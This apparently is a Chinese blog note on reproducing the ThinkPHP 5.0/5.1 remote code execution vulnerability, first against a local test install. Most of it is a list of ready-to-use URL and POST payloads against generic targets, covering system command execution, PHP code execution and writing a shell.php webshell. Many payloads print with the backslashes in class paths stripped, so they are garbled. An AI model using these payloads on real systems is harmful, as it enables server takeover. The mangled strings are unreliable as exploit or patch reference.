0x1 前言

之前看到大佬們在網上爆出tp遠程代碼執行,我就想著來複現一波,所以寫篇文章做個筆記。

0x2漏洞復現

首先去ThinkPhP官網下載他的一個框架:

框架下載 - ThinkPHP框架?

www.thinkphp.cn

在這裡我選擇的是ThinkPHP5.0.22完整版,大家可以下載其他版本!

然後使用phpstudy集成環境搭建Tp5.0.22:

然後運行php環境,在這裡我選擇的是Apach+PHP5.5n的:

然後訪問:127.0.0.1/cms/public/in

然後在url後面添加:

url是http://127.0.0.1/cms/public/index.php
添加後:http://127.0.0.1/cms/public/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

打開網頁看看執行結果:

Success!當然這是GET請求的攻擊,我們如何用POST請求來執行命令呢?

這時候需要用到火狐瀏覽器的Hackbar:

URL:http://127.0.0.1/cms/public/index.php?s=captcha
Post data:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

然後Excute:

然後成功執行了!ok,筆記就到這!

下面附上其他payload:

TP版本5.0.21:
http://localhost/thinkphp_5.0.21/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://localhost/thinkphp_5.0.21/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP版本5.0.22:
http://url/to/thinkphp_5.0.22/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

http://url/to/thinkphp_5.0.22/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

TP5.1.*
thinkphp5.1.29為例

1、代碼執行:
http://url/to/thinkphp5.1.29/?s=index/ hinkRequest/input&filter=phpinfo&data=1

2、命令執行:
http://url/to/thinkphp5.1.29/?s=index/ hinkRequest/input&filter=system&data=操作系統命令

3、文件寫入(寫shell):
http://url/to/thinkphp5.1.29/?s=index/ hink emplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

4、未知:
http://url/to/thinkphp5.1.29/?s=index/ hinkviewdriverPhp/display&content=%3C?php%20phpinfo();?%3E

5、代碼執行:
http://url/to/thinkphp5.1.29/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

6、命令執行:
http://url/to/thinkphp5.1.29/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令

7、代碼執行:
http://url/to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

8、命令執行:
http://url/to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系統命令

以上Poc來自:

Thinkphp5.0.X系列再報0day?

mp.weixin.qq.com
圖標

推薦閱讀:
相关文章